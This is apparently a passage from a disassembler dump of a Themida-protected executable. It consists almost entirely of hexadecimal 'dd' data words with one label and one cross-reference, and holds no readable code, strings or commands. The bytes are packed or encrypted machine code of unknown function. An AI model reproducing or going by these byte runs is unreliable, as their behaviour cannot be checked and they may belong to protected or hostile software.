		dd 5EAA9B5h, 585BD3FFh,	0BE9BD83h, 740005E8h, 0B8535017h
		dd 421h, 1AF98589h, 9D8D05E8h, 5EAA656h, 585BD3FFh, 9D8DC08Bh
		dd 5E830BDh, 0C00B038Bh, 7840Fh, 38B0000h, 89045B8Bh, 4B41B818h
		dd 16EB0000h, 5	dup(0)
		dd 3F40101h, 5EE0000h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 0B5C35747h, 0F9496705h, 2B2D9589h, 0BD8905E8h
		dd 5E819EDh, 503AB590h,	7FBB5250h, 0F3BFD0Fh, 0CE931h
		dd 6AED0000h, 0B4AC1034h, 0F96191Dh, 585A10E2h,	50006A90h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 0B920B102h, 0F6A116F1h, 8D8900BAh, 5E82DD9h,	6A006AF5h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 537EC352h, 0FA5D2C28h, 0AE6FB3Dh,	86D0D381h
		dd 6A74A5h, 0FF9BD89h, 858D05E8h, 5EE9F01h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 99C35747h, 0CB925BBh
		dd 8589F0E9h, 5E809B1h,	0F8E5E981h, 0BA9024F9h,	533EEA02h
		dd 0F424BA50h, 6A903F85h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 0D4B9C356h,	20558D09h
		dd 6A05E8h, 0D08B6060h,	8A0F61F5h, 2, 6A616160h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 4A73228h, 8D892542h,	5E80F2Dh, 402EBF66h, 203D95FFh
		dd 6A05E8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 0D2B7C6C3h, 8B44B0EEh, 0E8092DBDh, 602E905h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 4054B6C3h, 0E8F88Bh, 5D000000h, 9F06ED81h
		dd 6A05EEh, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 7A0B3CC3h, 0CF8068F9h, 0DE8270Ah,	6D000000h
		dd 224C83D4h, 20C07429h, 0BA69B8FEh, 10E9h, 0AF7D9700h
		dd 80E25FC4h, 94BDCBE7h, 0C86CFD38h, 34815B7Dh,	0AC02024h
		dd 0DE8B6627h, 20F995FFh, 830F05E8h, 6,	91D958Bh, 0B58D05E8h
		dd 5EE9D43h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 14h,	0A0C35747h, 9464C181h, 0DA807C52h, 5206C79Eh, 6A6D6765h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 6B42C353h, 1CA20875h, 6E921h, 7E9A0000h
		dd 4FECA0BCh, 12E1BD8Bh, 816005E8h, 9053D3D9h, 46C7616Bh
		dd 636E6F04h, 0E781666Ch, 13E884A1h, 9B000000h,	5A891D64h
		dd 230E2E4Eh, 0C3EF83A5h, 0E09D9A56h, 0C88BD02Fh, 846C75Bh
		dd 737361h, 6AF98B66h, 56006A00h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 8D3395C4h, 5E81A15h, 9D43858Dh
		dd 609005EEh, 5FC28B52h, 5061FB8Bh, 0F90FD8Ah, 14E9F8BFh
		dd 0F6000000h, 0B39CF318h, 0C082F08Bh, 0B7341FAEh, 196BF660h
		dd 0FFECAB64h, 0E8225D95h, 0BE805h, 95980000h, 35DDDED3h
		dd 0A28D7261h, 0FE96Fh,	3BAF0000h, 55AD6B2h, 2ADA4456h
		dd 1567D184h, 0C00B5A57h, 2F840Fh, 0F520000h, 0E95BD7BFh
		dd 3C9h, 0DE850h, 50F40000h, 46E715F7h,	6F61A8BCh, 0E8A481E0h
		dd 0Ah,	0D8094D0Bh, 3CDF60D6h, 5F5BD640h, 4E85Bh, 12C0000h
		dd 0C88B0000h, 39CBBA50h, 448B383Eh, 0B9660424h, 8B94A1h
		dd 4489EF8Ah, 4CBF0424h, 5858C748h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 0E9C35040h,	0A4B813FDh, 663A3D33h
		dd 6CBFF98Bh, 0FF65E0CEh, 0E820F995h, 57006A05h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
		dd 0F00CEA6Ch, 9D43B58Dh, 6A05EEh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 6C727C3h, 36343831h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 12C35343h
		dd 547B110Dh, 0CA5300B7h, 370446C7h, 6631342Dh,	46C7D18Bh
		dd 8, 0EE900h, 87770000h, 8D6F07Fh, 1102C9CDh, 0C5C18BA2h
		dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 8DE628C3h, 0EE9D4385h, 6E905h, 1BD50000h
		dd 7DCF91B7h, 0BDBB6690h, 0DA8B504Bh, 98B0F90h,	0F000000h
		dd 383h, 9ACA8000h, 225D95FFh, 505005E8h, 0BC98D8Bh, 5B5B05E8h
		dd 840FC00Bh, 2Eh, 0E9D7BF0Fh, 255h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 0ECC35343h,	0B222F7E7h, 59500557h
		dd 4E843B7h, 2C000000h,	66000001h, 8B50D68Bh, 0F042444h
		dd 1482h, 0CE800h, 0E1AB0000h, 42B7365Ah, 66E4C4A6h, 6160203Fh
		dd 0B9008B59h, 7041EADDh, 4244489h, 0B757D1BAh,	6A581Ah
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 59DC08C3h, 1958B88h,	0FF05E817h, 0E820F995h,	51006A05h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 239DAF6Ch, 0C0495A42h, 43B58DEFh, 6A05EE9Dh,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 4C44C350h, 0E0F099ADh, 0E1815038h, 51AFCCB4h, 59D2B5Bh
		dd 0C705E800h, 6C694606h, 46C7F965h, 6E6F6D04h,	50006A63h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 352D7A32h, 5066EABFh, 846C77Fh, 7373616Ch, 13E8h, 8F80FA00h
		dd 0FABE6B5Dh, 5AF5F210h, 94885E62h, 0B3120845h, 14E8h
		dd 635F0B00h, 0C8A9CF9Dh, 0EC504390h, 0A3D368DFh, 0AB9AAC8Eh
		dd 0F88B660Ah, 46C75B5Ah, 0Ch, 359D8900h, 6A05E813h, 0FA8B6600h
		dd 0CE9h, 0C435FE00h, 8539CF2Dh, 0C5B77F24h, 43858D3Bh
		dd 6A05EE9Dh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 0E62AC350h, 8BDB9C9Bh,	0E80DA9BDh
		dd 4DBB9005h, 5012EBB5h, 8E9h, 16239100h, 1CDF0053h, 6A90CCh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 9E32C9C3h, 0C8DAB277h, 0E995296Bh, 0FF05E813h, 0E8225D95h
		dd 0C00BF905h, 58840Fh,	6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 6FE39BC3h, 9C90DB72h
		dd 8930A5BEh, 0E8203995h, 0DE905h, 67980000h, 1F71C222h
		dd 70556791h, 0E9F28C3Ah, 21h, 11E9h, 50EA4800h, 1452232Dh
		dd 0B0A3795h, 87BEEE18h, 9BE950CCh, 8BFFFFFAh, 0E8198D9Dh
		dd 0B58D05h, 6A05E872h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 0C5EAC352h,	7A4A7CF0h
		dd 0AA72EC15h, 10E9h, 0D7DDE000h, 0EA48AC84h, 52232D50h
		dd 0A379514h, 7DBD8B0Bh, 0B805E822h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0F1C35747h
		dd 0B966CA8Bh, 9D8BE231h, 5E81A19h, 0F5B1E6FFh,	9D8DC18Bh
		dd 5E82255h, 1434B8h, 51858900h, 0E805E82Dh, 0
		dd 0D0558h, 3890000h, 1434E9h, 50Dh dup(0)
		dd 2AE900h, 4C70000h, 24h, 0E800h, 815D0000h, 0EEB94DEDh
		dd 24448B05h, 15858904h, 0B805E807h, 0
		dd 4D6A8D8Dh, 0E1FF05E8h, 6754B8h, 4E8D8D00h, 6605EEBAh
		dd 0B2A227BEh, 9D8D8913h, 6A05E815h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 4F1EC350h
		dd 0B6EDFB72h, 7C71B8B7h, 10E956A5h, 0A7000000h, 39391B67h
		dd 0F3F9ABBFh, 528C9AAFh, 0C733A7F7h, 0E8070585h, 6DBC05h
		dd 0C68B6000h, 2CE5B531h, 0C76105E8h, 0E80A6185h, 5, 0FF86B400h
		dd 0E81A39B5h, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 258F58E1h, 154A42BFh
		dd 0F38B6611h, 81595FFh, 6A05E8h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 68810C3h, 721BD09h, 890F05E8h
		dd 0Ch,	6860Fh,	0BD890000h, 5E806FDh, 95FF006Ah, 5E820F9h
		dd 4AEBC08Bh, 0ABF1D4EBh, 91A1CBDBh, 82738C71h,	58689F1h
		dd 88D7710Ah, 9ED84147h, 40C24B1Dh, 0A30A5F1Ch,	468D6EF7h
		dd 5A64023Ah, 4527D09Bh, 786D5479h, 0B5A3D097h,	4EA17E19h
		dd 74BFBC0Bh, 5716BF8Eh, 5E7D54C9h, 7C7AFB31h, 3BE9ADB4h
		dd 60000000h, 0FB9BD8Bh, 0EF8305E8h, 8BC93304h,	8320BBC1h
		dd 0C783EDB8h, 8BE04h, 0E8D10000h, 0D323D21Bh, 0F4EC233h
		dd 0FFFFF185h, 78941FFh, 100F981h, 820F0000h, 0FFFFFFD3h
		dd 0C88BC361h, 75FDED55h, 76F67A5Eh, 56E669A4h,	4FFD49BCh
		dd 0ADFD2013h, 0E2FD2032h, 40FD2025h, 32FD20AFh, 28FD206Ah
		dd 0F1FD2088h, 0D6FD20F9h, 0CDFD2041h, 8FD201Dh, 0C1FD2032h
		dd 3AFD2025h, 87FD20A1h, 64FD206Ah, 41FD2089h, 0DFD20F8h
		dd 51FD204Fh, 9DFD2013h, 95358A25h, 76D6A222h, 5CDE714Ah
		dd 5CF44BBDh, 75FD7A5Ah, 75F57227h, 74FD7997h, 73FD78CBh
		dd 74F57DEDh, 74FC7BF3h, 75FC7B78h, 75FD7ABCh, 76FD7A5Eh
		dd 75A71AADh, 75A71A25h, 75FD7ACBh, 74FC7BE4h, 74FC7BF3h
		dd 75F8B290h, 0F0701ABCh, 7013C4A9h, 0CED3FFA6h, 0F0707F79h
		dd 7013C5C6h, 0CF13FF6Ch, 0F0707F1Ch, 7013C532h, 0CED7FF35h
		dd 0F0707FB0h, 7013C484h, 0CF0FFF1Eh, 0F0707F25h, 7013C48Fh
		dd 0CF0BFF7Bh, 0F0707F97h, 7013C7B4h, 0CF07FFD7h, 0F0707FC1h
		dd 7013C78Dh, 0CF03FF42h, 0F0707F0Bh, 7013C7C2h, 0CEFFFFF0h
		dd 0F0707F52h, 7013C7D5h, 0CEF3FFA6h, 0F0707F79h, 7013C79Ch
		dd 0CEFBFF6Ch, 0F0707F1Ch, 7013C70Fh, 0CEF7FF35h, 0F0707FB0h
		dd 7013C7A4h, 0CEF3FF1Eh, 0F0707F25h, 7013C720h, 0CEE3FF7Bh
		dd 0F0707F97h, 7013C758h, 0CEDFFFD7h, 0F0707FC1h, 7013C490h
		dd 0CEDBFF42h, 0F0707F0Bh, 7013C4A2h, 0CEEFFFF0h, 0F0707F52h
		dd 7013C4D9h, 0CEEBFFA6h, 0F0707F79h, 7013C5E9h, 0CEE7FF6Ch
		dd 0F0767F1Ch
dword_5AD588	dd 70157728h, 0CE9AFF35h, 0F0767FB0h, 7015695Ah, 0CE96FF1Eh
					; DATA XREF: Themida_:0054FA0Eo
		dd 0B69C7F25h, 9D11F1B0h, 75FD7AF2h, 0E17FB23h,	25F89400h
		dd 0FDF53FD5h, 9B461CADh, 0B7342292h, 23AC7ACFh, 20AD29B7h
		dd 75FD7A1Ah, 987C2779h, 7013C620h, 0CF10FFA0h,	0C87D7FC1h
		dd 7013C07Ah, 0C5B409CFh, 0B54B75E4h, 3589BAF9h, 0CE96EF86h
		dd 0FEBD7F52h, 7A452B96h, 8AFD7A2Fh, 9B461102h,	9B48F7CEh
		dd 0F8F8945Fh, 9D50FCC6h, 75FD7E4Bh, 76456FCFh,	8AFD7A5Eh
		dd 9B4611BAh, 9B48F792h, 0F8F89471h, 8A50FCD1h,	0BC1F2322h
		dd 0CF10F787h, 2DA07F52h, 2CA32005h, 776D92ECh,	0CD4D7A97h
		dd 8A5779C1h, 9B461D70h, 9D3ED1F7h, 75FD7807h, 0CD9BC2DAh
		dd 0DE9B5954h, 0CE9AEFD0h, 0DE9B7F79h, 77959208h, 360B7AE5h
		dd 6E8872F3h, 0CE9AEF86h, 0C54D7F52h, 8AAD7954h, 9B461DBAh
		dd 0F69B2092h, 7E9B7E2Bh, 0B6561C27h, 75FF6B1Ah, 4E152979h
		dd 2FFD7ABEh, 7B89A065h, 913D59A5h, 0F5DF7094h,	0FE4DBA07h
		dd 9D3ED183h, 75FD7B00h, 77E1922Ah, 4EA77ABCh, 0C5120E84h
		dd 0A916D049h, 75FCA77Fh, 74BE8CCBh, 26D30FEDh,	75FF7B1Ah
		dd 360B2079h, 548872BDh, 6889A065h, 913D59A5h, 0F5DF7094h
		dd 0FF4DBA07h, 126885B5h, 2FF89449h, 51FD5F1Fh,	133F71DAh
		dd 0E94DB9F5h, 74BD9285h, 0F44D7A97h, 74359261h, 2D157AE5h
		dd 0DEFD7AF2h, 75FC5791h, 0DF60CABCh, 0DF61CA9Dh, 75FC5BC7h
		dd 13451C97h, 9D561C4Ah, 75FD7B43h, 75FD4C1Ah, 9D561C79h
		dd 75FD7BB6h, 0B657E7EEh, 9D57E69Fh, 75FD7A69h,	75FCF323h
		dd 74BE8CE5h, 0C5F20FFAh, 6515D0F9h, 0DFFD7ABCh, 7DF99EDEh
		dd 0AA158448h, 0C5FD7A97h, 0CD3ED056h, 75FD7AE2h, 0CE96EF0Dh
		dd 0C0707F97h, 7013C18Eh, 7F518A5Dh, 0E002D02Ch, 7013C1F0h
		dd 74E59208h, 254D7AE5h, 9D5779F8h, 8A02844Bh, 75FC4354h
		dd 7FA5CA5Eh, 0C53ED02Ch, 274DD0C7h, 8BE19261h,	0CD9B851Ah
		dd 0DE9B4BFDh, 8A036B91h, 0DFA7CA43h, 0B65722EEh, 2257929Fh
		dd 750C923Ch, 0FEA77ACBh, 0F63F5122h, 77747E1Ah, 8A008B91h
		dd 75059243h, 2D4D7A5Eh, 0B6577925h, 0CF19FF69h, 0C87D7F25h
		dd 7013C001h, 0F8EC0FF3h, 9B462CFCh, 61152AB9h,	9DFD7A5Ch
		dd 75FD781Bh, 9D571A27h, 8A028775h, 8A00C30Dh, 0DF9CCA0Dh
		dd 0CF19F787h, 0C87D7F52h, 7013C0BAh, 0F8F10F2Fh, 9B462C12h
		dd 0DE152ACEh, 0B6FD7AE4h, 75FD7E4Ah, 1E688579h, 0F8F89407h
		dd 9B42C9C3h, 6DF9F02Ah, 9C4DB93Dh, 9D562D61h, 75FD7A8Eh
		dd 5E3AF1A8h, 7115F9BBh, 8A3E7835h, 9B461DCBh, 514ACE2Ah
		dd 0C1FF0E96h, 13F2CA74h, 75C9924Eh, 9DAE7AF2h,	75FD7A27h
		dd 0B5FEF0E6h, 0B5F179BEh, 0B6577825h, 0CE9AEF68h, 917D7F25h
		dd 0F539FAEAh, 0DE9B7542h, 5A15D12Eh, 2F028541h, 0B7D6BDD5h
		dd 0FCF992ACh, 7345B995h, 8AFD7ACBh, 9B461170h,	3F60F7F7h
		dd 0F8F894C2h, 0CD3E39A0h, 75FD7A4Eh, 0CE96EFD0h, 0B57E7F79h
		dd 8935F1CEh, 0CE9AEF1Ah, 97577F1Ch, 0BE15B98Eh, 0FF028543h
		dd 72D97B1Dh, 76778E5Ah, 75FC6C7Fh, 0B61608CBh,	8908831Dh
		dd 0F611F1A7h, 9D9D86BDh, 75FD7ABCh, 0B617FB04h, 0FCF89490h
		dd 0CF7D86EAh, 7013C1ADh, 0EC7975E5h, 0CDFD7AF2h, 75FD7A73h
		dd 0CE96E843h, 0FCBD7FB0h, 9B4615ADh, 0F835F192h, 9B3DED79h
		dd 126F85E0h, 0FDF89449h, 801F3C7Fh, 75FD6D04h,	1A7F795Eh
		dd 35F89494h, 0B576E01Ah, 0B67E7F25h, 22FEF3E1h, 75FD644Bh
		dd 1A777979h, 0F8F89407h, 9B3D03ECh, 2B59892Ah,	75FD722Fh
		dd 1E6F85CBh, 0F6F8945Eh, 85897E0Ah, 72447C71h,	7DFD7ABCh
		dd 0C3F24B5Ah, 761EBBF7h, 75FD742Eh, 44E172CBh,	75FD765Ch
		dd 44F972F2h, 75FD61C0h, 44F972BCh, 75FD66E7h, 44F9722Fh
		dd 8A015B7Fh, 8980F334h, 8980F184h, 9DADB93Bh, 75FD7A7Fh
		dd 1102229Ch, 0FCA58E7Ah, 0E9055E6Bh, 89D93E16h, 67C92CB3h
		dd 0B6AD3A78h, 75FD7AF2h, 75FD7A79h, 0FEA87ABCh, 75151AB2h
		dd 2FFD7A2Fh, 0B5579016h, 0CF707F25h, 7013C196h, 0CCF50F79h
		dd 75FD7A71h, 0BC9CDE4Fh, 26FD7E9Ch, 0CE8EE7A2h, 497D7F79h
		dd 71887BD3h, 771683BEh, 203E82A9h, 9D9D96F2h, 75FD7ABCh
		dd 9617FB04h, 0F8F894EFh, 9B460925h, 7D80F1CEh,	75FD725Ch
		dd 145989F2h, 75F9B8B0h, 640F7DCh, 46F894E5h, 75F5C3EFh
		dd 0DF0E7A97h, 0F89DB9AAh, 9B460958h, 74C2FBF7h, 0FC7B78h
		dd 7182FBB0h, 74FC7B5Fh, 9E04795Ah, 0B69C8296h,	640F7ABh
		dd 0CDF8945Eh, 75FD7AF3h, 75FD72C0h, 145789BCh,	0FE3DF19Dh
		dd 0F578F7EFh, 8AF8942Ch, 0E8CA8BD0h, 7, 0E85AFB51h, 52C7DB57h
		dd 9E9h, 300E7D00h, 54862672h, 5A598C10h, 0A96BBB66h, 7360C281h
		dd 27B40000h, 1CB9BEh, 0E8B86600h, 8132FFAFh, 4F3988C9h
		dd 0B9535F25h, 181B7A49h, 81C78158h, 660A80A6h,	0B7BC981h
		dd 0E2FEC781h, 8B0F4B41h, 2, 0EF81DE8Ah, 3C185C2Fh, 57D88B66h
		dd 28FC28Bh, 0EA83C18Bh, 4ADF8B02h, 8BB664Ah, 1EE81A2h
		dd 0F000000h, 0FFFFB085h, 1FD980FFh, 7E6ACAFEh,	0F6C9A80Bh
		dd 7EB18A4Fh, 0D5ABA80Bh, 7F0975EAh, 0F7F7A80Bh, 5DBA8A4Fh
		dd 0F7AC57AEh, 7C798A4Fh, 0D5ABA80Bh, 7CC075EAh, 0F492A80Bh
		dd 7D428A4Fh, 0F51CA80Bh, 7DC48A4Fh, 0D5ABA80Bh, 2F2575EAh
		dd 0C497AAD4h, 7BC00310h, 0A7514690h, 4C86FA90h, 0F7D12154h
		dd 2F4064D4h, 0C4976FD4h, 43C00310h, 0A7514690h, 4C819590h
		dd 0C3D12154h, 2F4064D4h, 0C490DED4h, 4FC00310h, 0A7514690h
		dd 4C814190h, 0DFD12154h, 2F4064D4h, 0C491A7D4h, 5BC00310h
		dd 0A7514690h, 4C80D290h, 2BD12154h, 2F4064D7h,	0C49131D4h
		dd 0A7C00310h, 0A7514693h, 4C805090h, 23D12154h, 2F4064D7h
		dd 0C492B3D4h, 0AFC00310h, 0A7514693h, 4C83DE90h, 3BD12154h
		dd 0C34064D7h, 2A5012B8h, 4ECEDF15h, 4AA86CD2h,	0A2458AFDh
		dd 0C0D5F251h, 0A7AB48A9h, 2AA8ED96h, 29458A15h, 0E367A024h
		dd 0ADBAB496h, 2A54A1D5h, 64C6CB15h, 0D5BA4155h, 63CE75EAh
		dd 39213AAEh, 42848FFDh, 2211AB53h, 5D55FFEAh, 3AABA424h
		dd 0C3B9CF9Ch, 0E3A8EDDAh, 0F74586D7h, 0EED744DAh, 0D7CEEAE9h
		dd 26292359h, 0A2B9CFD2h, 6C54A851h, 0A24162ADh, 0EA660351h
		dd 2FEE27BFh, 0C4E839DBh, 12947510h, 0A0D90201h, 0A7AB3684h
		dd 0A1EC79AEh, 941AE51h, 96C522DCh, 73BA8FFBh, 2ADF1037h
		dd 28C82173h, 2FBA14C0h, 2BFD5BEAh, 81508C15h, 1ED40098h
		dd 0FBABADBFh, 89EFD2A5h, 57DDA42Ch, 0E7CEEBE9h, 229661ADh
		dd 4ECEDF15h, 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A7AB4969h
		dd 0A15CDDDAh, 0E7828668h, 2A54A8ADh, 30BACC15h, 2FBCA500h
		dd 69CE529Eh, 0B99783FCh, 31EFE2A5h, 0A0D9F9FAh, 0A7AB3684h
		dd 9A0D79AEh, 1A232094h, 81328C55h, 0DF6E2184h,	0D629215Dh
		dd 5E000174h, 2A5C6A98h, 21A90140h, 0C2345495h,	0A2458A15h
		dd 0F9BE290Bh, 294064D6h, 57DFA024h, 5E004D19h,	2A54A851h
		dd 0F3D77553h, 0A151405Ch, 69CE19CDh, 0B9979BFCh, 31EFE2A5h
		dd 0A0D9F9FAh, 0A7AB3684h, 9A0D79AEh, 1A232094h, 81328C65h
		dd 0DF6E2184h, 0D629215Dh, 5E000174h, 2A5C6A98h, 21A90140h
		dd 0A1345495h, 0DFCE8260h, 0D6116F5Dh, 0A2458A15h, 0C9953BFDh
		dd 9197B91Dh, 0F2DE0491h, 0A2454A38h, 0D5A82851h, 0A25E0E1Ah
		dd 23EDA851h, 55458A15h, 25862DA0h, 0A2458690h
		dd 32A32851h, 0AA8E4B73h, 4C972337h, 0AE38A1BEh, 4BA8D5D8h
		dd 6BB9CF9Eh, 7F54A093h, 66C6669Eh, 5FDFC8ADh, 0AE38011Dh
		dd 2AA8ED96h, 0E458A15h, 22B769C2h, 62765826h, 78C22FDh
		dd 0A2458AD5h, 25AB54D1h, 0A2459391h, 2A5D1151h, 53B28A15h
		dd 0AF5B7AD4h, 0A2458A1Fh, 0E25610E0h, 91EF4B93h, 577F0391h
		dd 5E380319h, 0D6112330h, 0A24D48DCh, 0A9B82304h, 292576D1h
		dd 57DFA024h, 5E004D19h, 2A54A851h, 229D00B9h, 0E1D4A7B2h
		dd 8860085h, 96C522DCh,	73BA8FFBh, 0A7FEF8E1h, 4CF91B9Fh
		dd 0A0855754h, 0DF6E20D6h, 0D629215Dh, 5E000174h, 2A5C6A98h
		dd 21A90140h, 0A1345495h, 0DFCE8260h, 0D6116F5Dh, 0A2458A15h
		dd 2A54AFE9h, 0D7D77515h, 26514042h, 28C82045h,	2FBA14C0h
		dd 2BF55BEAh, 86949BFBh, 622E8531h, 8050AC59h, 89EFAEA5h
		dd 57DDA42Ch, 0E7CEEBE9h, 229661ADh, 4ECEDF15h,	4AA86CD2h
		dd 294DFF9Eh, 6F93A42Ch, 0A2458AE9h, 0D5FE0451h, 4A48DB87h
		dd 868C2354h, 2FEF4917h, 0C4E839DBh, 0C4947510h, 4CBD28E9h
		dd 88600BEh, 0A358D57Ah, 29247668h, 0E89D5414h,	29108A1Dh
		dd 0D6902BBDh, 0AA300175h, 0ED58D5DAh, 0A2457650h, 80F8A851h
		dd 0AF1418EAh, 0E2DFADB9h, 88558B9h, 96C532DCh,	71BA8FFBh
		dd 0E3941037h, 63CF2173h, 262983FBh, 0C3B9F79Ch, 0E3A8EDDAh
		dd 0F74582D7h, 0EED744DAh, 0D7CEEAE9h, 26292359h, 0A2B9CFD2h
		dd 8654A851h, 0F3D775BFh, 0A151405Ch, 637726DDh, 0BBCE25FBh
		dd 5D4064A9h, 0AAECCE82h, 28EEECE4h, 577F0290h,	5E380319h
		dd 0D6112330h, 0A24D48DCh, 0A9B82304h, 292576D1h, 57DFA024h
		dd 5E004D19h, 2A54A851h, 6B773273h, 0B0D90337h,	0A7AB3684h
		dd 92327BAEh, 9234B95h,	1FE04FDh, 0DFCC8668h, 6FDFC9ADh
		dd 0AA8743E9h, 0C6DFFD51h, 0C2B94E96h, 0A15CDDDAh, 0E7828668h
		dd 2A54A8ADh, 24FDEC15h, 0A7FFCEB8h, 4CF91B8Fh,	9A875754h
		dd 0E0320A0h, 0BBCE25FBh, 5D4064A9h, 0ACECCE82h, 89EEECD8h
		dd 57DDA42Ch, 0E7CEEBE9h, 229661ADh, 4ECEDF15h,	4AA86CD2h
		dd 0A2458AFDh, 0C0D5F251h, 0A7AB4CB1h, 2AA8ED96h, 29458A15h
		dd 57DFA024h, 91792619h, 2A1E2C5Eh, 89798A15h, 2A162C5Eh
		dd 0CA798A15h, 2A492C5Eh, 13798A15h, 2A382C5Eh,	0F2798A15h
		dd 2A5C2A5Eh, 0FA798A15h, 2A6B2A5Eh, 0D6AC8A15h, 0D554A851h
		dd 0D7BA8660h, 0F3CE2559h, 0F14064D4h, 0E8E432DCh, 71BA8FFBh
		dd 0C3A8EDD8h, 0A2458A42h, 0D558DDAEh, 38C88260h, 2FBA69B8h
		dd 12DF0746h, 0D5514693h, 5E0003C6h, 2A5492B8h,	0AE307515h
		dd 0A75CDDAEh, 4C847F8Fh, 0B0D9FB54h, 0A7AB48A5h, 6FDD7BAEh
		dd 0A25863E9h, 5FABA851h, 0AA307519h, 0E85532DCh, 2F168FFBh
		dd 0C49618CBh, 2B967510h, 2ABD5414h, 0C3458A15h, 0E3A8EDDAh
		dd 0BA4582D7h, 3044h, 0CE8h, 0DFEB8600h, 9DA8C8D1h, 7D995036h
		dd 0CE8B1h, 2C370000h, 9D13F062h, 479CC7FFh, 12E9FFA5h
		dd 0F4000000h, 6320FBC7h, 0F5A719ACh, 628587FDh, 6C35964Fh
		dd 0E9595BC0h, 6, 0F0D5B404h, 0C1817FECh, 67E7h, 3840Fh
		dd 8B660000h, 132EBFF0h, 0EF817090h, 708FF978h,	0FE9h
		dd 0B682D600h, 0BEEFC83Eh, 0BB80016h, 9C43FCF6h, 820F018Bh
		dd 1, 60F081FCh, 0E83420F2h, 10h, 0F8DE3428h, 6D46C620h
		dd 0D33C4022h, 0D8F28597h, 96DF11BAh, 0C0815B2Bh, 8D72B72h
		dd 760DC281h, 0E8813EAFh, 69EB9F6h, 0FE8h, 784C0100h, 0EC8FA9DCh
		dd 5677520Ch, 0BDC32CC6h, 13E9h, 0E7DD7000h, 1717DC1Eh
		dd 572732A8h, 0C7DFF1A0h, 3DCADBBCh, 5201895Bh,	835BD38Bh
		dd 0DA8102E9h, 6FF00996h, 0C2814949h, 21B9F1D9h, 0F01EF83h
		dd 0FFFF7785h, 11E8FFh,	9940000h, 6C6D0051h, 5359918h
		dd 0F1E276E7h, 66DCA3E9h, 5AEB6EBEh, 0C92E8D8Dh, 0B58905EEh
		dd 5E82FC1h, 3800Fh, 8B660000h,	9D8D89DFh, 6A05E815h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 0D252C353h, 2135F7Bh, 9501A283h, 5E80351h, 70585C7h
		dd 747005E8h, 9D890000h, 5E81115h, 0A6185C7h, 5E8h, 0E0B40000h
		dd 69562ABBh, 0B1B5FF76h, 0B05E816h, 0E82E9DBDh, 95FFF805h
		dd 5E80815h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	83C35040h, 0FD6C2B9h, 38Dh, 0B5EA8000h,	95FF006Ah
		dd 5E820F9h, 59EBC08Bh,	293515DDh, 86C3DC5h, 110C4133h
		dd 293684h, 0ECF534D5h,	34A9752h, 32169075h, 0B4FA9AF5h
		dd 39AC03B3h, 3B2063F4h, 745EF6EDh, 236FBA1Fh, 7F6E414h
		dd 4A5C3506h, 178970DAh, 0D5FF3BDAh, 3CE9B009h,	0D5B0C5AAh
		dd 0CE56CF24h, 9F797EA1h, 0B2A57066h, 6B632D90h, 9BE994h
		dd 0D45D0000h, 58DD4FF0h, 0E561D374h, 6CE658F9h, 0E56DDF80h
		dd 0FDA16001h, 23C43830h, 0A546BAB1h, 2BCC3033h, 0AE4FB3B9h
		dd 0DC15C4Ah, 0FDA2B701h, 4ACC503Bh, 0E8E89879h, 78DE2BA3h
		dd 0DB5DCFA1h, 7A6856F7h, 0C8502BDFh, 0AFA91B9Ch, 0E47FDD43h
		dd 9CC85027h, 0A8864FCh, 72E1419Ch, 645E9BC8h, 0EC9C0A02h
		dd 3, 0CC8F7A01h, 16885F45h, 63D5AC10h,	0B325FCE0h, 0FF7148BCh
		dd 4ABC930Bh, 9507DEC6h, 0E6582F93h, 35A77E6Eh,	73F5CC30h
		dd 0EEC99168h, 0B478E905h, 0E19CFFF9h, 0CA1FB8E5h, 0C50305EEh
		dd 9E8h, 6E35C800h, 611CE263h, 9D8BA31Bh, 5E82C51h, 0F7816658h
		dd 0C081672Eh, 7181h, 0E819533h, 0F63305E8h, 6870Fh, 0C2810000h
